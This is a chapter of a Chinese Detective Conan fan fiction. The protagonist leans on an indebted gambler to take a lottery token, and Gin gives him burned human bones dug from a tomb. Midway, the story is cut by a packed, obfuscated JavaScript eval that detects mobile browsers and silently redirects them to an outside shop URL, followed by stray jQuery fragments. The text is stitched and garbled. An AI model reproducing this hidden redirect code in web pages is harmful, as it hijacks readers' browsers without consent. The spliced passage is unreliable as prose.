38.乞丐与人骨
作品:《[名柯]误入酒厂后》 茶木泽生看了一眼手机上的信息,随后穿过人群,像是极为熟悉的朋友般伸手揽住了其中一位幸运儿的肩膀。
他观察了很久,被抽中的三个人中数他衣着最为潦草,眼睛里也满是红血丝。
整个人对外透露着一种平静的癫狂。
在答案被公布之前,更是急躁地原地打转,恨不得直接抢过长寿婆手中的木棒,自己去亲自揭晓答案。
茶木泽生只在一个地方见过这种人——
赌场里已经一输再输,但依旧试图通过下一盘翻身的赌徒。
这种人是最好,也是最难下手的一类人。
只要找准方式就行。
被一个陌生人揽住的赌徒气愤不已,生怕这个不知好歹的人坏了他好不容易拿到的好运。
脏话都已经滑到了嘴边,又被茶木泽生从口袋里掏出来的一大把钞票硬塞了回去。
“聊聊?”茶木泽生边说边晃动着手里的钞票,在那人贪婪的注视下,这些钞票像是做梦一般进了他的口袋。
那人喜不自胜的摸了摸重新鼓起来的口袋,十分谄媚的对着茶木泽生点头哈腰。
他搓着手,看在钱的面子上,言语十分恭敬的问:“您……这是想要聊什么?”
“在下一定知无不言,言无不尽!”
茶木泽生装作没有看到他那乱转的眼珠,找了一小片藏在树下的空地:“来聊聊你怎么样?”
“被选中的感觉怎么样?”
“这个……”那人故意拖长了话腔,对茶木泽生伸出两根手指头,凑在一起搓了搓。
动作直白到就差没把“拿钱来换”这几个字说了出来。
在赌桌上,他曾将自己拥有的一切明码标价地输掉。
别人要是想在从他那里拿到些什么,也要按照赌场的规则花钱来买才是,
但茶木泽生并不吃这一套。
他的长相的确容易被人认为是好欺负的那一类,他也曾因此吃过大亏。
要是再往前数几年,茶木泽生的确会乖乖给钱。
可现在就不一样了,茶木泽生已经从琴酒那里学会了该如何正确地威胁人。
他没有答应这个无声的请求,反倒是开启了一个新的话题。
“广田弘真。”
茶木泽生按灭了手机屏幕,精准无误地叫出了他的名字:“欠了赌场两千万日元,这个数额能在市中心买下一间精品公寓或是豪华汽车。”
“结果却被你一夜之间输了出去。”
“你觉得单凭你自己,需要多久才能把这笔钱还干净。”
早在登岛前,茶木泽生就特意将今日搭乘邮轮前往岛屿的人员全都筛了一遍。
以此确保能在第一时间找到中选者的弱点,方便交易的进行。
“对了。”想到一些其它事的茶木泽生顿了一下,露出了一个十分温和,但在外人眼中却是恶意满满的笑容。
“赌场的利率好像是按天来算的。如果你没能及时交上这笔钱的话,那些多出来的利息该怎么办啊?”
“如果你帮我一个忙的话,我也可以帮你。怎么样?”茶木泽生伸出了手,堂而皇之地索要那个被抽中的号码牌。
说完这话后,茶木泽生忽然回头看了一眼。
成片的树荫下,叶子沙沙作响。
可这个地方根本没起风……
并未注意到茶木泽生这个小动作的广田弘真额间冷汗直流。
他确定自己没见过眼前这个陌生人,可自己的名字的确被他叫了出来。
难不成是……赌场的人追了过来?
面前这个人的年纪一看就是刚入行的新手,这些新人不比老人有分寸,下手全都又黑又狠。
被他们抓到才是真的完蛋了,不被扒层皮根本回不去。
刚才那几句话让广田弘真听得心脏直发颤,完全不记得茶木泽生说过帮忙这两个字。
他二话不说,战战兢兢,动作十分熟练地将被塞进口袋里的钱都掏了出来,又哆哆嗦嗦地放在了茶木泽生摊开的掌心里。
见茶木泽生眉头紧锁,又着急忙慌地从口袋里把自己身上仅剩的纸钞和硬币放了上去,一分钱也没敢私藏。
“身上的钱都在这里了,先生。我会尽快把钱还上的。”
茶木泽生:“……”
这让他陡然生出一种自己在乞讨的感觉。
“……我要的不是这个。”茶木泽生突然觉得脑袋发胀,就连太阳穴都在隐隐作痛。
抬起的手一翻,那些钱币丁零当啷的掉了一地,茶木泽生一字一顿道:“我要的是那个木牌。”
“您瞧我这记性……”
广田弘真欲哭无泪的将号码牌递了过去。
原本他还打算拿到人鱼之箭之后换一笔钱来填补赌债,现在看来是一点戏都没了。
接过木牌的茶木泽生看了一眼,上面刻着九十六,是最后一个被抽中的数字。
确定号码没有问题后,茶木泽生发了条短信,直接离开了,将那堆钱和广田弘真留在了那里。
过了大概三五分钟,呆愣愣站在原地怀念自己逝去的金钱的广田弘真收到了一条短信。
是赌场的人发过来的。
大致意思就是有个大人物打了招呼,他这段时间的赌债被抹掉了。
当然,已经清算的利息依旧需要偿还。
那点利息比起两千万来说,根本算不上什么。
不用说,广田弘真也知道是谁吩咐下去的。
他刚才看走眼了,那个人根本不是赌场新来的打手,最起码是能和赌场老板平起平坐的人。
看着落在地上,被几枚硬币压住的钞票,广田弘真悔不当初。
他刚才到底做了什么啊!
好不容易停下的冷汗继续开始往外冒,广田弘真只觉得自己的双腿发颤,使不上劲。
扑通一声,他不受控制的跌跪在了那堆钱上。
方才掉下去的硬币刚好有一枚竖直的立在土里,被广田弘真的膝盖压了个正着。
广田弘真刚想喊痛,但为了不让别人发现地面上的这堆钱,他硬生生地咬紧牙忍了下来。
对方既然说了不要,那自己应该可以拿走这笔钱吧……
刚好还可以再开几局,只要赢上一把,输掉的钱就能马上回来。
想到这里的广田弘真两眼放光,龇牙咧嘴地将这笔钱重新揣回了自己的口袋,愣是没发出一点声音。
而另一边,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17235404|193917||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
收到赌场消息的茶木泽生没有回复。
前几日他到处卖情报,顺手帮这家赌场的幕后负责人解决了一个小问题。
因为不太缺钱,所以茶木泽生也就一直没有要尾款。
见如今用两千万就能买断这个人情,赌场老板忙不迭的让手下以最快的速度了结了这件事。
顺利拿到木牌的茶木泽生原本准备把东西交给宫野志保。
可身后的动静实在是有点明显。
他转过身,还没开口说话,就见一个装了什么东西的玻璃瓶飞了过来。
茶木泽生想也不想地抬手接住。
“我可不是乞丐!”茶木泽生没好气地看向在树下就开始跟着他,自登岛后就不知道在忙什么的琴酒。
茶木泽生看了半天,始终没弄明白瓶子里装的灰白色条状物是什么。
瓶内的东西经过相互碰撞,在玻璃上留下了一小层灰白的粉末,让他联想到了粉笔末。
茶木泽生根本没见过这种东西,只能根据形象猜个大概。
但琴酒显然不是什么能在课堂里仔细听课,等待老师的粉笔在黑板上留下痕迹的人,他更不会无聊到装一瓶子粉笔玩。
想不通这到底是什么的茶木泽生狐疑地看着瓶子,又看向了琴酒,最后选择主动问向把瓶子抛过来的人。
“这是……什么?”
“人骨。”
琴酒的回答一如既往的短暂,却把茶木泽生吓了一跳。
他竭力抑制着心中的惊恐,下意识地将手里的东西抛了回去。
还在半空,就被琴酒稳稳接住。
被人在空中抛了两次,瓶子里面的灰白骨块看起来更碎了。
听到''人骨''这两个字的茶木泽生像是一只刚从河里捞上来,浑身上下又冷又湿的猫。
他应激似的弓着脊背,强忍着才没叫出声来。
琴酒还不如把他当成乞丐呢,最起码不会有人莫名其妙的给乞丐送上几节人骨。
将东西送回去,茶木泽生这才注意到,琴酒的衣摆上沾了不少泥土。
此刻,茶木泽生这才明白伏特加靠岸时拎的箱子里装了什么。
这几块骨头甚至是他们两个现挖的。
一想到几分钟之前,这几块骨头的主人还在底下安眠,茶木泽生就浑身不舒服。
他十分抗拒地想要往后退,但被琴酒不容置疑的扣在原地。
“这是从那个人鱼之墓里拿到的,把东西给雪莉。”
这些骨头被烧过,上半身还能看出来点东西,但下半身碎的太厉害了,挑挑拣拣了半天,这才勉强找出几根大块的。
“让伏特加转交不行吗?”
“他还有别的事。”
坟墓被挖开总是要复原的,那是一个很费时间的工作。
做了许久的心理工作,茶木泽生依旧无法接受拿着别人的骨头这件事。
一旁的琴酒反倒是没什么感觉,只是觉得茶木泽生大惊小怪。
在他眼里,拿到别人的尸骨只是为了推进计划的过程,只不过他的方式有一点直接罢了。
更何况,比起茶木泽生以及宫野志保的计划来说,直接检测所谓的人鱼尸骨,最快确认答案的办法。

